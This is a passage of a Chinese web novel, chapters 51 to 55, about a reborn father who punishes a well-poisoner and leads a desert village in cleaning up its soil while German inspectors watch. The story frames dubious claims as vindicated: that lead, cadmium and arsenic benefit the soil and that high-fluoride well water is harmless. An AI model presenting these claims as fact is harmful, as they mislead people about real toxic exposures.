《被儿女冻死后,窝囊老爹重生了》 第五十一章 荒原为猎场,一刀斩魔障 黎明,是戈壁滩上最残酷的时刻。 它用最清冷、最不容置喙的光,将一夜的罪恶与挣扎,都照得无所遁形。 一辆破旧的长途客车,像一头疲惫的、满身尘土的巨兽,在距离沙河镇十里外的路口,停了下来。 车门打开,江建国走了下来。 他身后,没有车队,没有随从。 只有一个黑色的、磨破了边角的人造革提包。 三天三夜的火车与汽车的连续颠簸,让他身上的蓝布工装,沾满了尘土与风霜,可他的眼睛,却比戈壁滩上,经过一夜风沙吹打的星辰,更亮,也更冷。 他没有直接走向那个正在焦灼等待着他的小镇。 他只是,站在路口,点上了一根烟。 他深深地,吸了一口。 那辛辣的烟雾,涌入肺里,像在为一头即将出闸的困兽,举行最后的祭奠。 他看着远处那座在晨光中,如同海市蜃楼般的小镇轮廓,那双深不见底的眼睛里,没有半分即将复仇的快意,只有一种如同外科医生,在审视着即将被切开的肿瘤般的、绝对的冷静。 他知道,他这一去,要斩的,不仅仅是一个叫黄国强的、利欲熏心的蠢货。 他要斩的,是这片土地上,所有因为贫穷而滋生的、摇摆不定的人心。 他要斩的,是林晚秋那条从千里之外伸过来的、淬满了剧毒的、试探的触手。 他更要斩的,是他自己心里,那最后一丝对这个世界还抱有幻想的、名为“仁慈”的魔障。 一根烟,燃尽。 他将烟头,在鞋底,重重地碾灭。 然后,他提起那个包,迈开步子,向着那座,已经为他搭好了戏台的、荒原上的猎场,一步一步地,走了过去。 …… 沙河镇的晒谷场,熬过了一个不眠之夜。 村民们围着篝火,守着那个像死狗一样,被捆在地上的黄国强,谁也没有睡。 他们的愤怒,在最初的爆发后,渐渐沉淀成了一种更加压抑、也更加可怕的沉默。 他们在等。 等那个只存在于传说中的“江老板”。 等一个,最终的审判。 当江建国的身影,逆着晨光,出现在村口那条土路的尽头时。 整个晒谷场,都安静了下来。 所有人的目光,都齐刷刷地,投了过去。 他走得不快,甚至有些慢。 可他每一步,都像是踩在所有人的心跳上,沉稳,有力,带着一种无形的、令人窒息的压迫感。 他没有看任何人,他的目光,穿过所有攒动的人头,像两把淬了寒冰的利刃,直接,钉在了那个蜷缩在场地中央的、肮脏的人形上。 人群,像被摩西分开的红海,无声地,为他,让开了一条路。 他走到场地中央,走到黄国强的面前,站定。 他没有问,也没有骂。 他只是,居高临下地,看着他。 那眼神,平静得,像是在看一块石头,一棵枯草。 黄国强在那目光的注视下,开始不受控制地,剧烈颤抖。 他感觉,自己不是被一个人看着。 他感觉,自己是被这片戈壁,这片苍天,以最漠然、最冰冷的姿态,审视着。 “不……不是我……” 他崩溃了,声音像一只被踩住了脖子的鸡,尖利而又绝望,“是……是他们逼我的!是那个穿黑风衣的男人!是他给了我钱!是他给了我药!” 江建国缓缓地,蹲下身。 他从口袋里,掏出了一根烟,点上,自己却不抽,而是,递到了黄国强的嘴边。 “抽吧。” 他的声音,沙哑,平静,“上了路,也算是有口热乎的。” 黄国强看着那根烟,彻底傻了。 江建国却笑了。 “你以为,我会问你,是谁指使你的?” 他轻轻地,吐出一口烟圈,“你以为,我会问你,收了多少钱?” “黄国强,” 他叫着他的名字,每一个字,都像一根针,扎进黄国强的骨头里,“你这种人,我见得多了。你们的心,比这戈壁滩上的石头,都硬。你们的膝盖,又比那河里的烂泥,都软。” “有人给了你一座金山,就许了你一个当‘王’的梦。你觉得,只要干了这一票,你就能人上人,就能把所有踩过你的人,都踩回去。” “你甚至想好了,等事情了结,拿到尾款,第一件事,就是去县里,买一栋最大的楼房,娶一个最年轻漂亮的老婆。再也不回这个你嫌弃了一辈子的、鸟不拉屎的穷地方。” 江建国每说一句,黄国强的脸色就更白一分。 他感觉,自己像一个被剥光了衣服的囚犯,他内心深处所有最阴暗、最龌龊的念头,都被这个男人,用最平静的语气,血淋淋地,剖了出来,暴露在光天化日之下! “我说的,对吗?” 江建国将烟灰,弹在他的脸上。 黄国强,彻底崩溃了。 他所有的狡辩,所有的侥幸,都被这一场堪称“诛心”的审判,击得粉碎。 他涕泪横流,像条真正的死狗,磕头如捣蒜。 “江老板!我错了!我不是人!我是畜生!您饶了我!您饶了我这一次!” 江建国没有理会他的哀嚎。 他站起身,环视了一圈,那一张张充满了愤怒与仇恨的、质朴的脸。 他缓缓开口,声音,传遍了整个晒谷场的每一个角落。 “乡亲们,我知道,你们想杀了他。” “但是,杀了他,太便宜他了。” 他从那个黑色的人造革提包里,拿出了那把,在昏黄灯光下,被他磨得雪亮如秋水的,屠宰刀。 所有人的呼吸,都停滞了! 他走到黄国强身边,所有人都以为,他要手起刀落。 然而,他只是,挥起手里的刀,“唰”的一声,将捆在黄国强身上的麻绳,尽数斩断。 然后,他在所有人那惊愕的目光中,将那把刀,插在了黄国强面前的地上。 刀身,兀自“嗡嗡”作响。 “黄国强,” 他看着这个瘫软在地的人,宣布了他的最终判决。 那声音,不带一丝感情,却比任何酷刑,都更残忍,“从今天起,你,自由了。” “你不用死。但是,你身上所有的钱,你家里所有的地,你那辆破吉普,都属于合作社了。” “你那笔黑心钱,我会当着所有人的面,一把火,烧了它。用它的灰,来祭奠那条被你毒死的,老狗。” “你和你的一家老小,会继续住在这沙河镇。但是,你们家,将永远被排除在合作社之外。你们不能种辣椒,不能分红,甚至,不能从供销点里,买一袋盐。” “你会亲眼看着,你曾经的邻居,一个个地盖起新房,买上电视。你会看着他们的孩子,穿着新衣裳,去县里,去省城,去上大学。” “而你,” 江建国的嘴角,勾起一抹魔鬼般的弧度,“你,黄国强,你将成为这沙河镇,唯一的、永远的穷人。” “你会活下去。活得,比任何人都长。活成一座活的墓碑,一座会喘气的警示牌。用来告诉所有人,也用来告诉你背后那个人” “背叛我江建国的,下场,是什么。” 死。 有时候,是一种解脱。 而活着,有时候,才是最恶毒的,诅咒。 黄国强听完这番话,整个人,像是被抽走了所有的骨头和灵魂。 他没有再求饶,只是痴痴地,看着那把插在他面前的、兀自颤抖的刀,然后,发出一阵不知是哭是笑的、如同夜枭般的、疯癫的嘶嚎。 他知道,他的人生,已经结束了。 江建国没有再看他一眼。 他走到那堆从吉普车里搜出来的、属于魔鬼的钱箱前,划着一根火柴,扔了进去。 熊熊的火焰,冲天而起。 那红色的、带着油墨香的“大团结”,在火焰中,卷曲,挣扎,最后,化为一缕缕黑色的、充满了罪恶气息的灰烬。 所有村民,都静静地看着这幕。 他们心中的怒火,也随着那火焰,渐渐平息。 取而代之的,是一种更加深沉的、对眼前这个男人的敬畏。 杀人,他们也会。 可这种杀人诛心的手段,这种将一个人的尊严与希望,都彻底碾碎的、神魔般的手段,他们,闻所未闻。 江建国,在这一刻,于他们心中,不再是“江老板”。 他是神,是魔,是这片荒原上,唯一的、不容置喙的…… 王法。 做完这一切,江建国才转身,第一次,正式地,看向了那些如同雕像般的村民。 他从怀里,掏出了那个淬了毒的金属瓶。 他举起它,声音,再次响彻全场。 “我知道,你们现在,最担心的,是什么。” “你们怕,这地,被毁了。你们怕,这根被断了。” “我今天,就可以给你们一个答案。” “在我来之前,我已经去了一趟北京。” “我见的,不是什么大官,也不是什么大老板。我见的,是咱们国家,研究了一辈子土地和种子的,最顶尖的科学家。” 他的声音,充满了力量与自信,像一束光,刺破了所有人心中那层名为“绝望”的阴霾。 “他们告诉我,我们的土,没病!我们的种,是宝!” “而这个毒,” 他晃了晃手里的金属瓶,“它有解药!” “三天之内,会有一支由中国农科院的专家组成的队伍,来到我们沙河镇!他们会带来最新的技术,最好的仪器!他们会手把手地,教我们,怎么给我们的土地解毒!怎么让我们的【沙河·红一号】,重新,站起来!” “我江建国,今天,就在这里,当着这片天,这片地,跟我所有的乡亲们,立一个军令状、” “今年,你们的收成,不仅不会减产。” “我还要让它,比去年,翻一番!” “天,塌不下来。有我江建国,给你们,顶着!” 第五十二章 国士临凡,黄土换血 那堆烧尽了罪恶的灰烬,在戈壁滩的晨风中,打着旋,不甘地,消散了。 它带走了黄国强最后的尊严,也带走了压在沙河镇村民心头,那块名为“恐惧”的巨石。 天,亮了。 亮得,前所未有的清澈。 江建国一夜未睡。 他没有去管那个已经彻底疯癫、瘫在晒谷场上时而哭时而笑的黄国强。 他只是和张老三,以及几个在村里最有威望的老人,围着一堆重新点燃的、温暖的篝火,抽了一夜的烟,开了一夜的会。 当第一缕晨光,为远方的祁连山脉,镶上金边时。 一场由江建国亲自部署的、旨在拯救这片土地的“人民战争”,已经井然有序地,拉开了序幕。 “第一!” 江建国的声音,沙哑,却带着一种能将人心拧成一股绳的力量,“以那口主井为中心,方圆五十米,拉上警戒线!孟山,你带几个小伙子,一天十二个时辰,给我死死地看住了!在我请来的专家到之前,任何人,任何牲口,不准靠近一步!” 孟山,这个曾经只听从江建国个人命令的“家臣”,在亲眼目睹了昨夜那场诛心之战后,看向江建国的眼神,已经多了一种近乎于狂热的崇拜。 他重重地点了点头,没有一句废话,转身就去挑选最孔武有力的后生。 “第二!” 江建国的目光,投向了村里的兽医,“那条叫大黄的狗,虽然死了,但它是功臣,也是最重要的物证!你,立刻带人,用最好的法子,把它给老子保存好!还有,黄国强从各家各户收上去的、没用完的那些‘营养液’,一滴都不能少,全部封存,集中看管!” “第三!” 他看向张老三,“老哥,这事,要拜托你。你威望高,人头熟。你立刻,组织村里所有的壮劳力,分成十个组。我们不去管那些已经被毒水浇过的地,我们现在要做的,是自救!” “镇子东边十里外,不是还有一口当年打的抗旱备用井吗?从现在开始,全村的饮用水,牲口的饮水,都从那里拉!车,我来想办法。人,你来组织!我要让全村人看到,天,塌不下来。井,不止一口。路,我们自己,能走出来!” “第四!” 他最后,看向了那个从昨晚就一直跟在他身边,满脸敬畏与激动的邮电所接线员小王姑娘,“小王同志,你是文化人,又是吃国家饭的。这件事,你也是见证者。我需要你,用邮电所那部能通天的电话,帮我办一件事。” “你立刻,给我接通冀北,我们县日报社的赵兴邦主任。告诉他,沙河镇的故事,有了续集。让他把笔杆子磨得利利的,等着我这里的消息。这一次,他要写的,不是一篇特稿。他要写的,是一部,我们沙河镇人,自己动手,把这片天,给重新补起来的……史诗!” 一道道命令,清晰,果断,不容置喙。 没有一句空话,没有一丝慌乱。 在场的所有人,看着这个仿佛天生就是发号施令的男人,他们心中那因为土地被毒而生出的、最后的恐慌与绝望,也随之烟消云散。 取而代之的,是一种前所未有的、被组织起来的、强大的安定感。 他们不再是一盘散沙,他们成了一支军队。 而江建国,就是他们唯一的、不容置疑的,主心骨。 …… 三天后。 一辆挂着【中国农业科学院】牌子的、绿色的212吉普车,和一辆同样是军绿色的、车厢被改装成了一个小型移动实验室的东风卡车,像两只来自另一个文明世界的、威严的甲虫,碾过尘土,带着一路的风尘,停在了沙河镇的晒谷场上。 车门打开,第一个跳下来的,是年轻的研究员孙立平。 他身后,跟着两位头发花白、却精神矍铄的老专家。 而最后,从吉普车里走下来的,竟是那个本该坐镇京城实验室的“怪人”孙庆华教授! 这位国宝级的辣椒专家,竟然亲自,来到了这片属于【沙河·红一号】的、最前沿的战场! 全村的人,都自发地围了过来。 他们看着这些传说中的、从首都北京来的“大科学家”,眼神里,充满了好奇、敬畏,和一丝不易察觉的、对自身命运的期盼。 孙庆华没有理会任何人。 他下车的第一件事,就是走到那片被封锁的辣椒地前,弯下腰,用手,捻起一撮那看似与其他地方并无二致的黄土,放在鼻尖,轻轻地嗅了嗅。 然后,他又走到那口被严密封锁的主井旁,看着那幽深、死寂的井口,那张古井无波的脸上,第一次,露出了如同医生看到垂危病人般的、沉痛的表情。 “暴殄天物!暴殄天物啊!” 他痛心疾首地,连说了两遍。 江建国迎了上去,没有过多的寒暄,只是重重地,握住了这位老人的手。 “孙教授,辛苦了。” “你才是辛苦了。” 孙庆华看着江建国,那双浑浊的老眼里,是发自肺腑的欣赏,“守着这么一块宝地,还要跟这些魑魅魍魉斗,难为你了。” 没有半分拖泥带水,以孙庆华为首的“国家队”,立刻投入了战斗。 他们穿上白色的工作服,戴上口罩和手套,拿出各种村民们见都没见过的、闪着金属光泽的仪器。 取土,取水,化验,分析…… 整个晒谷场,瞬间变成了一个最高规格的、露天的战地实验室。 村民们屏息凝神地看着,不敢发出一丝声响,生怕打扰了这些“神仙”施法。 一个小时后,初步的化验结果,出来了。 孙立平拿着一份刚刚打印出来的、写满了化学符号的报告,快步走到孙庆华和江建国面前,脸色前所未有的凝重。 “老师,江老板,确定了。” 他的声音,因为愤怒而有些发颤,“是德国拜耳公司在七十年代末,研发的一种强效有机磷除草剂的变种,代号‘LD7’。这种毒素,渗透性极强,性质稳定,在碱性土壤中,降解周期,长达三到五年!” 三到五年! 这个数字,像一柄重锤,狠狠地,砸在了每一个听到它的村民心上! 这意味着,他们的土地,将在未来好几年内,都成为一片,无法耕种的死地! 刚刚燃起的希望,仿佛又要被浇灭。 然而,孙庆华听完报告,那张布满皱纹的脸上,却反而露出了一丝…… 冷笑。 “哼,德国人一贯的傲慢,一贯的自以为是。” 他从孙立平手里,拿过报告,看也不看,就撕成了两半。 他走到所有村民的面前,拿起一个铁皮喇叭,声音,如同洪钟,响彻整个荒原。 “乡亲们!检测结果出来了!投毒的人,很歹毒!用的药,也很霸道!” “但是!” 他话锋一转,那股属于国士的、无双的自信与霸气,轰然爆发,“他德国人能造出最毒的药,我孙庆华就能配出解这毒的方!” “他们想让我们的地,死上三五年?我偏不!” “我今天,就让它,在一个月之内,脱胎换骨,起死回生!” 他伸出两根手指。 “解毒,分两步走!” “第一步,叫‘以毒攻毒,刮骨疗毒’!” 他指着那片被污染的土地,“这种有机磷,最怕的,就是强碱!从明天开始,全村的壮劳力,都给我动起来!去镇上的石灰窑,把他们所有的生石灰,都给我拉回来!按我给的配比,掺上草木灰,给我仔仔细细地,撒遍每一寸被污染的土地!” “第二步,叫‘移花接木,黄土换血’!” 他继续说道,“光靠石灰还不够!我们还要给土地,吃药!吃什么药?吃我们老祖宗,传下来几千年的,最好的药种草!” “我已经联系了内蒙的草籽站!三天之内,会有一批最耐旱、根系最发达的‘紫花苜蓿’草籽,空运过来!这种草,是豆科植物,是天然的固氮能手,它的根,能扎进地里一米多深!它能像抽水机一样,把土壤深层那些残留的毒素,都吸到它自己的身体里!等它长起来,我们再一把火,连草带毒,烧个干干净净!这,就叫‘黄土换血’!” 一番话,说得是深入浅出,气壮山河! 村民们听得是云里雾里,却又热血沸腾! 他们不懂什么叫有机磷,也不懂什么叫紫花苜蓿。 但他们听懂了,孙教授那话里的意思我们的地,有救了! “乡亲们!” 江建国接过话头,他的声音适时地再次响起,“专家,已经把救命的方子,开给我们了!” “能不能活,能不能好就看我们自己,肯不肯,下力气,流血汗了!” “我宣布!从今天起,所有参与‘土地改造’工程的社员,工分,翻三倍!建国厂,包你们一日三餐,管饱!顿顿,都有肉!” “我江建国,今天也把家安在这里了!我跟你们同吃、同住、同劳动!什么时候,这地里的第一棵辣椒苗,重新长出来了,我再什么时候,离开沙河镇!” “乡亲们!你们敢不敢跟我江建国一起,把这天给它亲手补上?” “敢!” 压抑了数日的恐慌、愤怒,在这一刻,化为了冲天的、震耳欲聋的怒吼! 那吼声,在这片苍凉的戈壁滩上,久久回荡。 它像一封最决绝、最不容置喙的战书,跨越了千山万水,遥遥地,寄向了那个远在京城、自以为胜券在握的女人。 林晚秋。 你的科学,来了。 我的…… 战争,也开始了。 第五十三章 黄土之上,两种战争 战争,并不总是在号角与炮火声中开始。 有时候,它始于一片沉默的土地,始于一万次铁锹与冻土的撞击,始于成千上万滴滚烫的、滴落进碱性尘埃里的汗珠。 沙河镇,成了一座巨大的、没有围墙的军营。 当第一车由石灰窑连夜烧制、还带着灼人温度的生石灰,被运抵被污染的地头时,这场由江建国亲自指挥的“土地保卫战”,正式打响。 没有动员大会,没有豪言壮语。 江建国只是第一个,脱掉了自己的外套,露出了那身虽然年过四十、却依旧筋骨分明的腱子肉,然后,他抄起一把铁锹,第一个,将那呛人的、白色的粉末,狠狠地,铲进了板结的毒土之中。 “吼嘿!” 他吼出的,不是口号,而是这片土地上,最古老的、属于劳动者的号子。 张老三和村里那几百个正值壮年的汉子,看着那个身形并不比他们高大、气势却如同山岳般的男人,他们骨子里那份属于西北农民的、沉默的血性,被瞬间点燃! “吼嘿!” 几百个男人,几百把铁锹,同时举起,又同时落下! 白色的石灰粉末,混合着黄色的尘土,冲天而起,像一场人为的、悲壮的暴风雪,笼罩了整个荒原。 这是一幅充满了原始力量与工业美感的、矛盾的画卷。 男人们在田间,用最原始的力气,为土地刮骨疗毒。 女人们则在晒谷场上,支起了十几口大铁锅,将厂里运来的猪肉、白菜、粉条,炖成一锅锅香气四溢的、能驱散所有疲惫与寒冷的“大锅菜”。 她们的脸上没有了对未来的恐惧,只有一种支持着自己男人、投身于一场神圣战争的、坚毅的光彩。 江建国,成了这幅画卷的魂。 他没有像个监工一样,背着手,发号施令。 他就像一个最普通的、最能吃苦的沙河镇农民。 他跟张老三比赛谁的铁锹挥得更快,他跟村里最壮的后生“王铁牛”掰手腕,他中午就蹲在地头,用沾满石灰粉的手,抓起一个黑面馒头,就着一碗大锅菜,吃得比谁都香。 他用最直接、最朴素的行动,告诉所有人我和你们在一起。 这份“在一起”,比任何金钱的许诺,都更具有凝聚力。 它让这场本该是苦役的劳动,变成了一场充满了荣誉感与集体主义热情的、轰轰烈烈的社会实践。 赵兴邦,则成了这场实践最忠实的记录者。 他像一个疯子,扛着他的相机,奔走在每一个角落。 他拍下了男人们那被汗水浸透、被石灰烧灼的、古铜色的脊梁。 他拍下了女人们在灶火前,被蒸汽熏红的、带着微笑的脸庞。 他甚至拍下了那个叫“狗蛋”的小娃娃,正有样学样地,用一个小小的木铲,努力地将一捧白色的石灰覆盖在一片黑色的毒土之上。 他的笔记本,已经写满了。 那上面,不再是工整的采访稿,而是一行行充满了情感的、潦草的、如同心电图般的笔记:【……他们不是在劳动,他们是在打仗。用铁锹作枪,用汗水为弹,用这片被毒害的黄土作战场。我从他们的眼睛里,看不到绝望。我只看到,一种比戈壁滩上的胡杨,更倔强、更顽强的……生命力。】 战争,在第五天,迎来了它的“观察员”。 一辆与这片荒原格格不入的、崭新的、黑色的奔驰轿车,和一辆同样是德国进口的、白色的厢式货车,像两只闯入了原始丛林的、高傲的天鹅,在一片惊奇的目光中,停在了晒谷场的外围。 车门打开,下来了五六个金发碧眼的德国人。 他们穿着一尘不染的、白色的、如同太空服般的连体防护服,戴着巨大的护目镜和专业的防毒面罩。 为首的,正是莱茵的首席检测师,汉斯·迈耶。 他们看着眼前这片热火朝天、尘土飞扬,在他们看来近乎于“混乱”与“原始”的劳动场面,每个人的眼神里,都流露出一丝掩饰不住的、属于“高等文明”的优越感与职业性的嫌弃。 “Mein Gott(我的上帝)……” 一个年轻的德国工程师,看着那些直接用手接触生石灰的农民,用德语小声惊呼,“他们甚至没有最基本的劳动保护!这太疯狂了!” 汉斯·迈耶没有说话。 他只是,用他那双蓝色的、如同冰海般冷静的眼睛,审视着这一切。 然后,他用一个标准的、不带任何感情的手势,下达了命令。 他的团队,立刻行动起来。 他们打开厢式货车的后门,从里面,拿出了一件件闪烁着金属光泽的、精密的、江建国连见都没见过的仪器。 手持式土壤成分分析仪,便携式水质光谱检测器,空气悬浮颗粒采样泵…… 他们没有与任何人交流,他们像一群来自外星的、执行着某个神秘任务的生物。 他们拉起黄黑相间的警戒线,将自己与这个“肮脏”的世界,彻底隔离开来。 然后,他们开始以一种极其标准、极其程序化的方式,采集土壤、水源、甚至空气的样本。 每一个动作,都精准,冷静,充满了科学的、不容置喙的权威。 这一刻,在这片小小的中国的戈壁滩上,出现了世界历史上,都堪称魔幻的一幕两种“科学”,两套“标准”,两个“文明”,在同一片被毒害的土地上,展开了一场无声的、却又泾渭分明的对峙。 一边,是中国的“国家队”,带领着最质朴的农民,用生石灰、草木灰和即将到来的紫花苜蓿,这种充满了东方智慧与“人定胜天”豪情的“土法”,进行着一场轰轰烈烈的、旨在“换血重生”的生态修复。 而另一边,则是德国的“权威认证”,用最顶尖的仪器,最冰冷的数据,最无可辩驳的“国际标准”,进行着一场精准的、旨在“宣判死刑”的样本采集。 狗蛋,那个只有七岁的孩子,看着那些穿着白色怪衣服的“洋人”,和他手里那些会发光、会“滴滴”作响的奇怪玩意儿,好奇地,凑了过去。 那个年轻的德国工程师,看到了他。 他从口袋里,掏出了一块用精美锡纸包裹的、印着德文的牛奶巧克力,隔着警戒线,递给了狗蛋。 脸上,带着一种逗弄小动物般的、和善的微笑。 狗蛋看着那块他从未见过的、飘着香甜气味的巧克力,咽了口唾沫。 可他,却没有伸手去接。 他只是,回过头,看了一眼远处。 他的爷爷张老三和那个被他称作“江爷爷”的男人,正光着膀子,坐在地头,将一个烤得焦黄的土豆,掰成两半,一人一半,吃得满嘴乌黑,却开怀大笑。 狗蛋看着那块精美的巧克力,又看了看那半块朴实的、滚烫的烤土豆。 他犹豫了一下,然后,对着那个德国工程师,咧嘴一笑,摇了摇头。 转身,跑向了他的爷爷,和他那片,虽然“有毒”,却充满了人情与温度的土地。 德国工程师愣住了。 他看着手里那块代表着“优越文明”的巧克力,第一次,对自己的认知,产生了一丝连他自己都未曾察觉的动摇。 江建国,也看到了这一幕。 他的嘴角,缓缓地,勾起了一抹微笑。 他知道,这场战争,他还没有赢。 但是,他已经看见了,胜利的,第一缕曙光。 那曙光,不在别处。 就在这片土地上,最天真、最纯粹的,下一代的人心里。 第五十四章 一颗糖,两种未来的味道 汉斯·迈耶,这位严谨的德国工程师,在接下来的三天里,成了沙河镇一道最奇特、也最不和谐的风景。 他和他那支同样严谨的团队,像一群精准执行着代码的机器人。 他们从不与村民交谈,从不在警戒线外多停留一秒。 他们吃饭,喝的是从德国带来的、经过严格过滤的矿泉水。 他们睡觉,是在那辆密不透风的、拥有独立空气循环系统的厢式货车里。 他们用行动,向这片土地上的所有人,展示了一种近乎于洁癖的、对“标准”的绝对忠诚。 而江建国则用行动,展示了另一种,截然不同的哲学。 他卷起裤腿,和村民们一起,站在混着石灰水的泥地里,一锹一锹地,为土地翻身。 他的午饭,是和张老三蹲在地头,分食同一个烤土豆。 他的夜晚,是在张老三家那盘烧得滚烫的土炕上,听着这个老汉,就着一袋旱烟,讲述着这片土地,过去一百年的风霜雨雪。 两种文明,两种战争哲学,就在这片小小的、中国的戈壁滩上,无声地,对峙着,碰撞着。 对峙,在第五天,被汉斯·迈耶,主动打破了。 这一天,内蒙古草籽站空运来的,第一批紫花苜蓿草籽,运抵了沙河镇。 当村民们,看着那青绿色的、充满了生命气息的种子,被一袋袋地搬下卡车时,整个晒谷场,都沸腾了。 他们知道,刮骨疗毒的第一步,已经完成。 接下来,就是真正的,“黄土换血”! 也就在这时,汉斯·迈耶带着他那个年轻的助手,穿着一身崭新的、一尘不染的防护服,第一次,主动地,跨过了那条黄黑相间的警戒线。 他径直,走到了孙庆华教授的面前。 “孙教授,” 他通过助手翻译,用一种公事公办的、不带任何感情的语气说道,“根据我们前三天的初步检测,我们有几个数据,需要和您,以及这片土地的所有者,进行一次同步。” 孙庆华放下手里的放大镜,扶了扶眼镜,淡淡地说道:“请讲。” 汉斯·迈耶从助手手里,接过一个平板电脑式的、在当时看来如同科幻造物的仪器。 他点开一份充满了曲线和数据的报告。 “第一,” 他指着屏幕上的一个峰值,“我们对你们用作‘肥料’的草木灰,进行了成分分析。我们发现,除了你们所需要的碳酸钾之外,里面还含有大量的、无法被精准控制的重金属元素,包括铅、镉、以及微量的砷。按照欧盟即将推行的《有机农业生产法案》,这类未经提纯的草木灰,属于三级工业污染物,是绝对禁止被用于农业生产的。” 此言一出,周围那些围观的、识字的村干部,脸色,瞬间就变了。 污染物? 致癌物? 他们祖祖辈辈都用来肥田的宝贝,怎么到了洋人嘴里,就成了毒药? 孙庆华的脸上,却没有丝毫波澜。 他只是冷笑了一声。 “迈耶先生,你们德国的土地,是几十万年前,由冰川运动形成的冲积平原。你们的土,很‘干净’,但也像一张白纸,缺这少那。所以,你们需要用最纯净的肥料,去精准地,补充它所缺乏的元素。” 他弯下腰,从地上,抓起一把那混合了石灰的、黄得有些发白的土。 “可我们这里,是祁连山下的戈壁滩。我们的土,是几百万年来,由风沙和岩石,共同铸就的。我们的土,天生就富含各种矿物质。你口中的那些‘重金属’,在我们这片碱性土壤的特定环境下,恰恰是维持土壤活性、促进作物风味形成的、必不可少的……微量元素。” “你用你家厨房那套精美的西餐餐具标准,来评价我们这口用了五千年的、能炖下整只羊的铁锅。迈耶先生,你不觉得,这很……傲慢吗?” 汉斯·迈耶的眼中,第一次,闪过一丝不易察觉的、被冒犯的神色。 但他依旧保持着职业的冷静。 “教授,我尊重您的经验。但科学,只相信数据。” 他划开第二份报告,“第二,我们对你们的灌溉水源,也就是那口备用井的水,进行了检测。我们发现,水的硬度,以及其中的氟化物含量,严重超标。长期饮用或使用这种水源灌溉,会对人体的骨骼和牙齿,造成不可逆的损伤。” 这一次,不等孙庆华开口,江建国却先一步,笑了。 他走到一个正在用井水和泥的妇人旁边,从她手里,接过那个粗瓷大碗,当着所有德国人的面,“咕咚咕咚”,将那碗在他们看来如同“毒药”的井水,喝了个底朝天。 他抹了抹嘴,看着汉斯·迈耶,用一种最平淡的语气说道:“迈耶先生,我们沙河镇的人,祖祖辈辈,喝这口井里的水,喝了几百年。我们这里,走出过全县,乃至全省,最多的兵。因为我们这里的后生,骨头,都比别处的人硬。” “你说的那个什么‘氟化物’,我们不懂。我们只知道,这水,养活了我们,也让我们,站得比谁都直。” 汉斯·迈耶,彻底沉默了。 他发现,自己陷入了一个无法用逻辑和数据来解释的、巨大的悖论里。 他所带来的那套建立在“普世价值”之上的、冰冷的科学体系,在这片充满了“特殊性”与“生存智慧”的、东方的土地面前,第一次,显得如此的,苍白,无力。 他看着眼前这两个男人,一个,是中国最顶级的科学家,另一个,是中国最底层的农民。 他们之间,仿佛有一条看不见的、却又坚不可摧的线,将他们和这片土地,紧紧地,联系在一起。 而他,和他所代表的一切,都是局外人。 “最后一个问题,孙教授。” 汉斯·迈耶收起了仪器,做着最后的、也是最徒劳的努力,“即便,我们抛开所有关于‘标准’的争议。这种‘火烧火燎’式的土地修复方式,本身,就是一种对生态的、巨大的破坏。你们将毒素,富集在草里,然后再一把火烧掉。这难道,不是在制造二次空气污染吗?这种做法,在德国,是绝对违法的。” 这一次,孙庆华笑了。 他笑得,有些苍凉,也有些…… 悲壮。 他指着这片广袤的、一望无际的戈壁滩,指着远处那在风中,发出呜咽声的、光秃秃的山脉,缓缓地说道:“迈耶先生,你知道,我们为什么,要如此不计代价地,救这片地吗?” “因为,这片地,和你们德国那肥沃的、可以轮耕休养的土地,不一样。我们的人太多了,而我们的地太少了。我们退无可退。” “我们这代人,如果不能在自己的任期内,解决自己的问题。那我们留给子孙的,就不是一片可以休养生息的土地,而是一片,连活下去的机会都没有的绝境。” “你眼中的‘二次污染’,在我们看来,” 他看着江建国,看着那些虽然听不懂、却依旧满眼期盼的村民,一字一顿地说道,“是我们这代人,为了不把麻烦留给下一代,所必须承担的……代价。” “这,就是我们中国的,另一种‘标准’。” 汉斯·迈耶,彻底地,被击败了。 不是被科学,而是被一种他无法理解、却又不得不为之动容的、名为“传承”的哲学。 他默默地,对着孙庆华,和江建国,微微地鞠了一躬。 然后,转身,带着他的团队,回到了那辆密不透风的白色货车里。 他们没有走。 他们只是,收起了所有的仪器,变成了一群最沉默的、最忠实的…… 观察者。 他们要亲眼看看,这群东方人,是如何用他们那套“不科学”的、却又充满了生命力的哲学,来创造一个他们无法想象的奇迹。 一场无声的战争,以一种更无声的方式,结束了。 江建国看着那辆紧闭着车门的白色货车,他知道,他赢了第二回合。 他走到孙庆华身边,从口袋里,掏出了一包皱巴巴的“大前门”,递了过去。 “孙教授,抽一根?” 孙庆华摆了摆手,从自己的口袋里,摸出了一杆更老旧的、被烟油浸得发黑的旱烟袋。 “抽不惯那个,没劲儿。” 他给自己装上一锅烟,点上,美美地,吸了一口,吐出一个巨大的、呛人的烟圈。 两个来自不同阶级、不同世界,却又因为这片土地而站在一起的男人,就在这漫天的烟圈和尘土里,相视一笑。 那笑容里,有沧桑,有默契,更有对这片土地,最深沉的、共同的热爱。 第五十五章 紫花开遍,国士的背书 半个月,对于一座城市,不过是日历上轻轻翻过的一页。 而对于沙河镇这片被判了死刑的土地,半个月,却是一场炼狱般的重生。 当第一棵紫花苜蓿,从那片混合了石灰与草木灰的、泛着诡异白色的土壤里,倔强地,探出它那小小的、带着绒毛的、青绿色的头时。 整个沙河镇,都静了。 没有欢呼,没有呐喊。 所有正在劳作的男人、女人、老人、孩子,都像被施了定身法,不约而同地,停下了手里的活计。 他们缓缓地,缓缓地,围了过来,像是在朝圣。 他们蹲下身,伸出那粗糙的、沾满泥土的手,却又不敢去触碰那脆弱的、如同初生婴儿般的新绿。 他们只是看着,看着那片小小的、在戈壁寒风中微微颤抖的叶子,那一张张饱经风霜的脸上,第一次,流露出一种近乎于神圣的、喜悦的泪光。 活了。 这片被断子绝孙的毒药浸泡过的土地,在他们自己的手里,用最笨拙的汗水和最原始的希望,浇灌下,又一次,活了过来。 汉斯·迈耶和他那支德国团队,也第一时间,出现在了现场。 他们没有再穿那身可笑的白色防护服。 他们只是,像最普通的农业技术员一样,穿着深色的工装,蹲在了地头。 汉斯·迈耶亲自,从那棵新生的苜蓿苗旁,用一个精密的镊子,取下了一小片叶子,又采集了它根部的土壤样本。 他将样本,放进了那台白色的、充满了科幻感的移动实验车里。 一个小时后,他拿着一份全新的、写满了德文的数据报告,走到了孙庆华教授的面前。 这一次,他的脸上,没有了之前的傲慢与冷静,取而代之的,是一种混杂着震惊、困惑,与发自内心的、对未知领域的敬畏。 “教授,” 他通过助手翻译,声音,第一次,带上了几分不确定的沙哑,“数据……很奇怪。” 